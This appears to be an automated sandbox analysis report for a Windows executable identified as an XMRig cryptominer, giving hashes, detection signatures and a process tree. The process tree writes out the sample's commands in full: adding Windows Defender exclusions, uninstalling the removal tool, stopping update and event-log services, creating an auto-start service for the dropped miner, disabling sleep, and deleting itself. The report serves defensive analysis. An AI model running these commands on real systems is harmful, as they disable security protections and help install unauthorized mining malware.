Analysis
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max time kernel
82s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
18-12-2024 01:36
Static task
static1
Behavioral task
behavioral1
Sample
cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
Resource
win7-20240903-en
General
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Target
cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe
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Size
5.6MB
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MD5
2338d8f96149fedc7592ae996bc8d850
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SHA1
6437a4e1f682bc781cc522b924d394ad28ed91d6
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SHA256
cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b
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SHA512
08a588de9ab56fcd207c81e3bf0f89fbc03528dc01a7c1e7267a9199d49801d400e0c6aaa8d5d7038506537634c908818d5d7dc7d24a3002f87913fa71752b2f
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hd:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgx
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2020-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2020-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2452 powershell.exe 1892 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1984 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 536 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2144 powercfg.exe 2944 powercfg.exe 2928 powercfg.exe 2612 powercfg.exe 2728 powercfg.exe 2764 powercfg.exe 2696 powercfg.exe 1756 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 536 set thread context of 1980 536 fqwofdtexigy.exe 87 PID 536 set thread context of 2020 536 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2020-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-41-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2020-42-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2772 sc.exe 1176 sc.exe 1748 sc.exe 2592 sc.exe 2712 sc.exe 2704 sc.exe 1340 sc.exe 1336 sc.exe 880 sc.exe 2776 sc.exe 1156 sc.exe 2084 sc.exe 2608 sc.exe 2132 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0ab9445ed50db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2452 powershell.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 2208 cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe 536 fqwofdtexigy.exe 1892 powershell.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 536 fqwofdtexigy.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe 2020 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2452 powershell.exe Token: SeShutdownPrivilege 2696 powercfg.exe Token: SeShutdownPrivilege 2764 powercfg.exe Token: SeShutdownPrivilege 2728 powercfg.exe Token: SeShutdownPrivilege 2612 powercfg.exe Token: SeDebugPrivilege 1892 powershell.exe Token: SeShutdownPrivilege 2144 powercfg.exe Token: SeShutdownPrivilege 2928 powercfg.exe Token: SeShutdownPrivilege 1756 powercfg.exe Token: SeShutdownPrivilege 2944 powercfg.exe Token: SeLockMemoryPrivilege 2020 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2504 wrote to memory of 2824 2504 cmd.exe 39 PID 2504 wrote to memory of 2824 2504 cmd.exe 39 PID 2504 wrote to memory of 2824 2504 cmd.exe 39 PID 1984 wrote to memory of 2904 1984 cmd.exe 64 PID 1984 wrote to memory of 2904 1984 cmd.exe 64 PID 1984 wrote to memory of 2904 1984 cmd.exe 64 PID 1996 wrote to memory of 1704 1996 cmd.exe 73 PID 1996 wrote to memory of 1704 1996 cmd.exe 73 PID 1996 wrote to memory of 1704 1996 cmd.exe 73 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 1980 536 fqwofdtexigy.exe 87 PID 536 wrote to memory of 2020 536 fqwofdtexigy.exe 90 PID 536 wrote to memory of 2020 536 fqwofdtexigy.exe 90 PID 536 wrote to memory of 2020 536 fqwofdtexigy.exe 90 PID 536 wrote to memory of 2020 536 fqwofdtexigy.exe 90 PID 536 wrote to memory of 2020 536 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe"C:\Users\Admin\AppData\Local\Temp\cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2208 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2824
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2704
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2776
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2712
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2772
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2592
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2696
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2764
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2728
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2612
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1176
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2608
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1156
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1340
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2904
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1892
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1704
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2084
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1336
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:880
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2132
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2928
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2944
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2144
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1980
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2020
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD52338d8f96149fedc7592ae996bc8d850
SHA16437a4e1f682bc781cc522b924d394ad28ed91d6
SHA256cdd4591f545d826e87d682a69df70032a7eef524d72ad89553e6e96ecf154d7b
SHA51208a588de9ab56fcd207c81e3bf0f89fbc03528dc01a7c1e7267a9199d49801d400e0c6aaa8d5d7038506537634c908818d5d7dc7d24a3002f87913fa71752b2f